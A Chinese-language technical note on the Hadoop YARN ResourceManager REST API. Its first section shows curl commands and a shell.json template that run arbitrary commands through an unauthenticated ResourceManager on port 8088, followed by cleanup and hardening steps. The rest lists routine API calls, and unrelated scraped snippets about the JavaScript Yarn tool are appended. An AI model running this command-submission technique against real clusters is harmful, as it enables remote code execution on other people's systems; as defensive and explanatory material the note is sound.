详细更多对外接口参考华为论坛-【开发案例】Yarn对外接口:
https://forum.huawei.com/enterprise/zh/thread-451687.html
====================================================
Yarn漏洞攻击:
curl -X POST "http://x.x.x.x:8088/ws/v1/cluster/apps/new-application"
curl-X POST -H 'Accept: application/json' -H 'Content-Type:application/json' "http://x.x.x.x:8088/ws/v1/cluster/apps" --data-binary @shell.json
curl-X POST -H 'Accept: application/json' -H 'Content-Type:application/json' "http://x.x.x.x:8088/ws/v1/cluster/apps" -d '@shell.json'
shell.json内容如下:
{
"am-container-spec": { "commands": {
"command": "echo xxxxx"
}
},
"application-id":"application_xxxxxxxx", "application-name":"test_it",
"application-type":"YARN"
}
清理病毒
1.使用top查看进程,kill掉异常进程
2.检查/tmp和/var/tmp目录,删除异常文件
3.检查crontab任务列表,删除异常任务
4.排查YARN日志,确认异常的application,删除处理 安全加固
安全加固
1.通过云主机全组配置访问策略,限制对8088等端口的访问
2.如无必要,不要将接口开放在公网,改为本地或者内网调用
3.启用Kerberos认证功能,禁止匿名访问
=================================================
查看指定队列的所有任务:
GET http://<rm http address:port>/ws/v1/cluster/apps?queue=dev
查看指定任务的详细信息:
GET http://<rm http address:port>/ws/v1/cluster/apps/application_1326821518301_0005
监控任务:
curl 'http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012/state'
GET http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012/state
杀死任务:
curl -v -X PUT -d '{"state": "KILLED"}''http://<rm http address:port>/ws/v1/cluster/apps/application_1409421698529_0012'
PUT http://<rm http address:port>/ws/v1/cluster/apps/application_1399397633663_0003/state
查询集群调度器详情(包含队列详情):
GET http://<rm http address:port>/ws/v1/cluster/scheduler
查询整个集群指标:
GET http://<rm http address:port>/ws/v1/cluster/metrics
from:https://www.jianshu.com/p/6dd2b624b756
相关推荐
【标题】"YARN学习书籍及注解"涵盖了Hadoop YARN的相关知识,这是一个重要的分布式资源管理系统,用于处理大数据计算。YARN(Yet Another Resource Negotiator)是Hadoop生态系统中的核心组件之一,它负责管理和调度...
赠送jar包:hadoop-yarn-api-2.5.1.jar; 赠送原API文档:hadoop-yarn-api-2.5.1-javadoc.jar; 赠送源代码:hadoop-yarn-api-2.5.1-sources.jar; 赠送Maven依赖信息文件:hadoop-yarn-api-2.5.1.pom; 包含翻译后...
Yarn是JavaScript社区广泛使用的包管理工具,它旨在提高npm(Node.js的包管理器)的性能、可预测性和安全性。这两个文件,"yarn-1.22.4.msi" 和 "yarn-1.22.5.msi",是Yarn的特定版本安装程序,适用于Windows操作...
**Yarn 1.6 在Windows上的安装指南** Yarn是一款高效的依赖管理工具,它为JavaScript项目提供了可靠的、可重复的以及快速的包管理解决方案。本指南将详细介绍如何在Windows操作系统上安装Yarn 1.6版本。 1. **了解...
Yarn 获取 Application 列表编码 Yarn 是一个资源管理和调度框架,负责管理 Hadoop 集群中的资源和应用程序。获取 Application 列表编码是 Yarn 中的一种常见操作,本文将对其进行详细的分析和介绍。 Yarn 获取 ...
npm install -g yarn yarn install 安装失败,使用官方下载的yarn.lock文件
在分布式计算领域,Apache Hadoop YARN(Yet Another Resource Negotiator)是核心组件之一,它作为资源管理系统,负责调度和管理Hadoop集群上的应用程序。在这个主题中,我们将深入探讨"Yarn编程ApplicationList",...
**Yarn 1.22.0:高效且可靠的JavaScript包管理器** Yarn是Facebook在2016年推出的JavaScript包管理工具,它旨在解决npm(Node.js的默认包管理器)在处理依赖关系时的一些痛点,如不一致的安装结果、缓慢的安装速度...
5. **安全性**:Yarn 提供了安全扫描功能,可以检查依赖包的安全漏洞,并提供升级建议,帮助开发者保持项目安全。 6. **插件系统**:Yarn 支持插件扩展,可以通过安装插件来添加新的功能或优化现有流程。 在 Yarn ...
Yarn是Facebook开发的一款流行的JavaScript包管理工具,它在npm(Node Package Manager)的基础上提供了更快、更可靠和更安全的包管理和依赖关系解决方式。在本文中,我们将深入探讨Yarn 1.22.4和1.22.5这两个版本在...
每次安装包时,它都会验证下载的文件与预期的SHA-512哈希值是否匹配,防止了中间人攻击和恶意篡改。 对于Windows用户,安装Yarn 1.22.0可以通过下载`.msi`文件完成。这个版本的Yarn提供了对Windows系统的良好支持,...
通过本书的学习,读者可以全面掌握Hadoop YARN的架构设计和实现原理,不仅理解各个组件的功能和工作方式,还能深入到源代码层面,从而在实际工作中更加高效地部署和优化YARN集群。此外,本书还通过对比分析了不同...
在前端开发领域,`Yarn` 是一个非常流行的依赖管理工具,它被广泛用于替代 `npm` 进行包的安装和管理。`Yarn` 提供了更快的速度、更可靠的重复性和更好的安全性。在某些情况下,我们可能需要对前端项目进行特定的...
Yarn 对你的代码来说是一个包管理器, 你可以通过它使用全世界开发者的代码,或者分享自己的代码。 Yarn 做这些快捷、安全、可靠,所以你不用担心什么。 通过Yarn你可以使用其他开发者针对不同问题的解决方案,使...
综上所述,YARN内存管理的优化需要综合考虑RM、NM和AM的角色及它们的配置参数,确保资源有效利用,同时避免内存不足或溢出导致的问题。在实际操作中,需根据应用需求和集群资源状况合理调整这些参数,以实现最佳性能...
Yarn是JavaScript的世界中一个流行的包管理工具,它在2016年由Facebook推出,旨在解决npm(Node Package Manager)的一些性能和可预测性问题。`yarn-v1.19.1.tar.gz`是一个包含Yarn源码的压缩包,版本号为1.19.1。这...
在Windows操作系统中,推荐使用MSI安装包来安装Yarn,因为这种方式通常更简单且稳定,尤其对于网络环境不稳定的用户,可以减少下载失败的风险。 **一、Yarn 1.22.5 版本特性** 1. **性能优化**:Yarn 1.22.5版本...
yarn-1.22.10编译工具yarn-1.22.10编译工具 yarn-1.22.10编译工具yarn-1.22.10编译工具 yarn-1.22.10编译工具yarn-1.22.10编译工具 yarn-1.22.10编译工具yarn-1.22.10编译工具 yarn-1.22.10编译工具yarn-1.22.10编译...
yarn安装 Yarn 是一个流行的 JavaScript 包管理器,可以帮助开发者快速安装、管理和共享项目依赖项。下面是关于 Yarn 安装的详细知识点: Yarn 安装步骤 1. 使用 npm 安装 Yarn:`npm install –g yarn` 或 `npm ...
此外,你还需要掌握YARN的配置,如在`yarn-site.xml`中设置的参数,以及如何通过命令行接口与YARN交互,如提交应用程序、查看应用程序状态等。同时,了解YARN与MapReduce、Spark等计算框架的集成也是很重要的。 总...